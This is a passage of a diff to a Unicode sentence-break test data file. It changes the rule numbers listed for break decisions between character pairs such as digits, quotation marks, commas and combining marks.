+÷ 01BB × 000A ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 01BB × 0308 × 000A ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 01BB × 0085 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 01BB × 0308 × 0085 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 01BB × 0009 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 01BB × 0308 × 0009 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 01BB × 0061 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 01BB × 0308 × 0061 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 01BB × 0041 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
+÷ 01BB × 0308 × 0041 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
+÷ 01BB × 01BB ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 01BB × 0308 × 01BB ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 01BB × 0030 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 01BB × 0308 × 0030 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 01BB × 002E ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [998.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 01BB × 0308 × 002E ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 01BB × 0021 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 01BB × 0308 × 0021 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 01BB × 0022 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 01BB × 0308 × 0022 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 01BB × 002C ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [998.0] COMMA (SContinue) ÷ [0.3]
+÷ 01BB × 0308 × 002C ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] COMMA (SContinue) ÷ [0.3]
÷ 01BB × 00AD ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 01BB × 0308 × 00AD ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 01BB × 0300 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 01BB × 0308 × 0300 ÷ # ÷ [0.2] LATIN LETTER TWO WITH STROKE (OLetter) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
-÷ 0030 × 0001 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 0030 × 0308 × 0001 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 0030 × 000D ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 0030 × 0308 × 000D ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 0030 × 000A ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 0030 × 0308 × 000A ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 0030 × 0085 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 0030 × 0308 × 0085 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 0030 × 0009 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 0030 × 0308 × 0009 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 0030 × 0061 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 0030 × 0308 × 0061 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 0030 × 0041 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 0030 × 0308 × 0041 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 0030 × 01BB ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 0030 × 0308 × 01BB ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 0030 × 0030 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 0030 × 0308 × 0030 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 0030 × 002E ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [12.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 0030 × 0308 × 002E ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 0030 × 0021 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 0030 × 0308 × 0021 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 0030 × 0022 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 0030 × 0308 × 0022 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 0030 × 002C ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [12.0] COMMA (SContinue) ÷ [0.3]
-÷ 0030 × 0308 × 002C ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] COMMA (SContinue) ÷ [0.3]
+÷ 0030 × 0001 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 0030 × 0308 × 0001 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 0030 × 000D ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 0030 × 0308 × 000D ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 0030 × 000A ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 0030 × 0308 × 000A ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 0030 × 0085 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 0030 × 0308 × 0085 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 0030 × 0009 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 0030 × 0308 × 0009 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 0030 × 0061 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 0030 × 0308 × 0061 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 0030 × 0041 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
+÷ 0030 × 0308 × 0041 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
+÷ 0030 × 01BB ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 0030 × 0308 × 01BB ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 0030 × 0030 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 0030 × 0308 × 0030 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 0030 × 002E ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [998.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 0030 × 0308 × 002E ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 0030 × 0021 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 0030 × 0308 × 0021 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 0030 × 0022 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 0030 × 0308 × 0022 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 0030 × 002C ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [998.0] COMMA (SContinue) ÷ [0.3]
+÷ 0030 × 0308 × 002C ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] COMMA (SContinue) ÷ [0.3]
÷ 0030 × 00AD ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0030 × 0308 × 00AD ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0030 × 0300 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
@@ -350,180 +352,179 @@
÷ 0021 × 0308 × 00AD ÷ # ÷ [0.2] EXCLAMATION MARK (STerm) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0021 × 0300 ÷ # ÷ [0.2] EXCLAMATION MARK (STerm) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0021 × 0308 × 0300 ÷ # ÷ [0.2] EXCLAMATION MARK (STerm) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
-÷ 0022 × 0001 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 0022 × 0308 × 0001 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 0022 × 000D ÷ # ÷ [0.2] QUOTATION MARK (Close) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 0022 × 0308 × 000D ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 0022 × 000A ÷ # ÷ [0.2] QUOTATION MARK (Close) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 0022 × 0308 × 000A ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 0022 × 0085 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 0022 × 0308 × 0085 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 0022 × 0009 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 0022 × 0308 × 0009 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 0022 × 0061 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 0022 × 0308 × 0061 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 0022 × 0041 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 0022 × 0308 × 0041 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 0022 × 01BB ÷ # ÷ [0.2] QUOTATION MARK (Close) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 0022 × 0308 × 01BB ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 0022 × 0030 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 0022 × 0308 × 0030 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 0022 × 002E ÷ # ÷ [0.2] QUOTATION MARK (Close) × [12.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 0022 × 0308 × 002E ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 0022 × 0021 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 0022 × 0308 × 0021 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 0022 × 0022 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 0022 × 0308 × 0022 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 0022 × 002C ÷ # ÷ [0.2] QUOTATION MARK (Close) × [12.0] COMMA (SContinue) ÷ [0.3]
-÷ 0022 × 0308 × 002C ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] COMMA (SContinue) ÷ [0.3]
+÷ 0022 × 0001 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 0022 × 0308 × 0001 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
+÷ 0022 × 000D ÷ # ÷ [0.2] QUOTATION MARK (Close) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 0022 × 0308 × 000D ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+÷ 0022 × 000A ÷ # ÷ [0.2] QUOTATION MARK (Close) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 0022 × 0308 × 000A ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+÷ 0022 × 0085 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 0022 × 0308 × 0085 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
+÷ 0022 × 0009 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 0022 × 0308 × 0009 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
+÷ 0022 × 0061 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 0022 × 0308 × 0061 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
+÷ 0022 × 0041 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
+÷ 0022 × 0308 × 0041 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
+÷ 0022 × 01BB ÷ # ÷ [0.2] QUOTATION MARK (Close) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 0022 × 0308 × 01BB ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
+÷ 0022 × 0030 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 0022 × 0308 × 0030 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] DIGIT ZERO (Numeric) ÷ [0.3]
+÷ 0022 × 002E ÷ # ÷ [0.2] QUOTATION MARK (Close) × [998.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 0022 × 0308 × 002E ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] FULL STOP (ATerm) ÷ [0.3]
+÷ 0022 × 0021 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 0022 × 0308 × 0021 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] EXCLAMATION MARK (STerm) ÷ [0.3]
+÷ 0022 × 0022 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 0022 × 0308 × 0022 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] QUOTATION MARK (Close) ÷ [0.3]
+÷ 0022 × 002C ÷ # ÷ [0.2] QUOTATION MARK (Close) × [998.0] COMMA (SContinue) ÷ [0.3]
+÷ 0022 × 0308 × 002C ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [998.0] COMMA (SContinue) ÷ [0.3]
÷ 0022 × 00AD ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0022 × 0308 × 00AD ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0022 × 0300 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0022 × 0308 × 0300 ÷ # ÷ [0.2] QUOTATION MARK (Close) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
-÷ 002C × 0001 ÷ # ÷ [0.2] COMMA (SContinue) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 002C × 0308 × 0001 ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 002C × 000D ÷ # ÷ [0.2] COMMA (SContinue) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 002C × 0308 × 000D ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 002C × 000A ÷ # ÷ [0.2] COMMA (SContinue) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 002C × 0308 × 000A ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 002C × 0085 ÷ # ÷ [0.2] COMMA (SContinue) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 002C × 0308 × 0085 ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <NEXT LINE (NEL)> (Sep) ÷ [0.3]
-÷ 002C × 0009 ÷ # ÷ [0.2] COMMA (SContinue) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 002C × 0308 × 0009 ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] <CHARACTER TABULATION> (Sp) ÷ [0.3]
-÷ 002C × 0061 ÷ # ÷ [0.2] COMMA (SContinue) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 002C × 0308 × 0061 ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN SMALL LETTER A (Lower) ÷ [0.3]
-÷ 002C × 0041 ÷ # ÷ [0.2] COMMA (SContinue) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 002C × 0308 × 0041 ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN CAPITAL LETTER A (Upper) ÷ [0.3]
-÷ 002C × 01BB ÷ # ÷ [0.2] COMMA (SContinue) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 002C × 0308 × 01BB ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] LATIN LETTER TWO WITH STROKE (OLetter) ÷ [0.3]
-÷ 002C × 0030 ÷ # ÷ [0.2] COMMA (SContinue) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 002C × 0308 × 0030 ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 002C × 002E ÷ # ÷ [0.2] COMMA (SContinue) × [12.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 002C × 0308 × 002E ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] FULL STOP (ATerm) ÷ [0.3]
-÷ 002C × 0021 ÷ # ÷ [0.2] COMMA (SContinue) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 002C × 0308 × 0021 ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] EXCLAMATION MARK (STerm) ÷ [0.3]
-÷ 002C × 0022 ÷ # ÷ [0.2] COMMA (SContinue) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 002C × 0308 × 0022 ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] QUOTATION MARK (Close) ÷ [0.3]
-÷ 002C × 002C ÷ # ÷ [0.2] COMMA (SContinue) × [12.0] COMMA (SContinue) ÷ [0.3]
-÷ 002C × 0308 × 002C ÷ # ÷ [0.2] COMMA (SContinue) × [5.0] COMBINING DIAERESIS (Extend_FE) × [12.0] COMMA (SContinue) ÷ [0.3]
+÷ 002C × 0001 ÷ # ÷ [0.2] COMMA (SContinue) × [998.0] <START OF HEADING> (Other) ÷ [0.3]
